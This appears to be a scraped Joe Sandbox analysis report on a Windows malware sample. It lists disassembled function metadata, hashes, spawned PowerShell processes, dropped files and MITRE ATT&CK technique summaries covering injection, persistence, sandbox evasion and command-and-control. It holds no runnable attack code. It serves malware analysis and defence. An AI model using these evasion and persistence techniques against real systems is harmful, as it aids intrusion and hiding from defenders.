RtlLookupFunctionEntry.KERNEL32 ref: 00007FF681C288F2
RtlVirtualUnwind.KERNEL32 ref: 00007FF681C2893F
__raise_securityfailure.LIBCMT ref: 00007FF681C289B5

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 2ccba7e9cb8161b6830b4bdced448ba4434f463bc3dcbbf20418d4b2244445be
Instruction ID: f19b5082ddd6803cf29f2de8006384fd16d89bf71f46ed16e8fb22b4b2238651
Opcode Fuzzy Hash: 2ccba7e9cb8161b6830b4bdced448ba4434f463bc3dcbbf20418d4b2244445be
Instruction Fuzzy Hash: 1D21BF35A18B46C6EB408B55E8803A973B4FF89B44FA0253ADA8D83764DF7DE158CB44

Function 00007FF681C23C80 Relevance: 6.0, APIs: 4, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF681C23B49), ref: 00007FF681C23CA4
PeekMessageA.USER32 ref: 00007FF681C23CC9
DispatchMessageA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF681C23B49), ref: 00007FF681C23CEC
PeekMessageA.USER32 ref: 00007FF681C23D0D

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 0e89c7557f5549cdd1f7fcb2b8838b8889091e68e9dc0b1ab03ce0efe7400e88
Instruction ID: 942015dc3dfe287d27bceee74fcd7a341a0d659b1f8741eb10b1c76dbc70745d
Opcode Fuzzy Hash: 0e89c7557f5549cdd1f7fcb2b8838b8889091e68e9dc0b1ab03ce0efe7400e88
Instruction Fuzzy Hash: D5113772A18652C7F7A08F21E454B76AAB0FF9D745F54B239DA4A83994DF3CD148CB00

Analysis Process: powershell.exePID: 4640, Parent PID: 2328COMMON

Executed Functions

Function 00007FFB4ADC37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569204487.00007FFB4ADC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4ADC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffb4adc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 8c9257fe5d68731663ae1ec61466327c0d2dac65b01a250ec753e5be44626dd5
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: 3D01A77010CB0C8FDB44EF0CE051AA6B3E0FB85320F10056DE58AC3691D632E882CB41

Analysis Process: powershell.exePID: 6592, Parent PID: 4640COMMON

Executed Functions

Function 00007FFB4AEC1191 Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1547899505.00007FFB4AEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffb4aec0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4650fe942c8e4bf27d89baacc29f6bfb6343f7df74eb1b84c4c8b6b7f48de56a
Instruction ID: 91349a84c8d2154f3a2f307d92abd5666a14cf2edabfe9231686a8f4be04721c
Opcode Fuzzy Hash: 4650fe942c8e4bf27d89baacc29f6bfb6343f7df74eb1b84c4c8b6b7f48de56a
Instruction Fuzzy Hash: 92D144A290EB8A4FE7A5FE78C8152B87BE5FF46210B2801FED55DC71D3DE19A8058341

Function 00007FFB4AEC1546 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1547899505.00007FFB4AEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffb4aec0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66a7b629970fae8ea6dc5c9f6dcc32ff6d3662644423371c909bdef8dc8bc77f
Instruction ID: 5484d79977fb5f6ac31892cb896af29e00ebd2d8888b5630724336b1f01fd621
Opcode Fuzzy Hash: 66a7b629970fae8ea6dc5c9f6dcc32ff6d3662644423371c909bdef8dc8bc77f
Instruction Fuzzy Hash: 297116A294EBC94FE356BE7888641B57FE5EF97224B2801FFD099C7193D9094C0AC352

Function 00007FFB4AEC12F0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1547899505.00007FFB4AEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4AEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffb4aec0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ac3885f26f869a9461c2105a15699c5a90c034ce28d575c4f091dee06e3028
Instruction ID: f820895cc0a3527601475b44ea4a145fcb3da93b5b03a45051494a3e5c6156b0
Opcode Fuzzy Hash: 81ac3885f26f869a9461c2105a15699c5a90c034ce28d575c4f091dee06e3028
Instruction Fuzzy Hash: 9D41F0D2D4FBC60FE3A6BE7C89612B86AD5BF42215B7900FAD65CC71D3DD0AA8058301

Function 00007FFB4ADF4325 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1547256827.00007FFB4ADF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4ADF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffb4adf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64998e6327d7109a0430388bedef7d144e8725d57d90dafb0120ff9002e4a4a8
Instruction ID: 621a85d64378771c845adf7008f338b636f923c62d0a4dd0dc2f465e019c6755
Opcode Fuzzy Hash: 64998e6327d7109a0430388bedef7d144e8725d57d90dafb0120ff9002e4a4a8
Instruction Fuzzy Hash: 5101A77111CB0C8FD744EF0CE051AB6B3E0FB85324F10056DE58AC3661D632E882CB41

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0XVZC3kfwL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

Spreading

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\IXP000.TMP\gam.bat

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_byhsqu4j.ncv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jfau4nce.jli.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mj41achv.n4w.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rvwo4ld4.pqp.psm1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
0XVZC3kfwL.exe

Function 00007FF681C241B4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 372
libraryloaderCOMMON

Function 00007FF681C21D10 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 182
registrylibrarymemoryCOMMON

Function 00007FF681C215F4 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 375
memoryCOMMON

Function 00007FF681C268F0 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 299
memorystringCOMMON

Function 00007FF681C22EDC Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 179
synchronizationCOMMON

Function 00007FF681C26F14 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 218
COMMON

Function 00007FF681C25F80 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 124
windowCOMMON

Function 00007FF681C23214 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 152
libraryfileloaderCOMMON

Function 00007FF681C26710 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 121
COMMON

Function 00007FF681C22D70 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 85
libraryloadershutdownCOMMON

Function 00007FF681C22034 Relevance: 12.1, APIs: 8, Instructions: 121
filestringCOMMON

Function 00007FF681C263DC Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97
registryfileCOMMON

Function 00007FF681C24838 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119
processsynchronizationCOMMON

Function 00007FF681C265A8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 88
fileCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre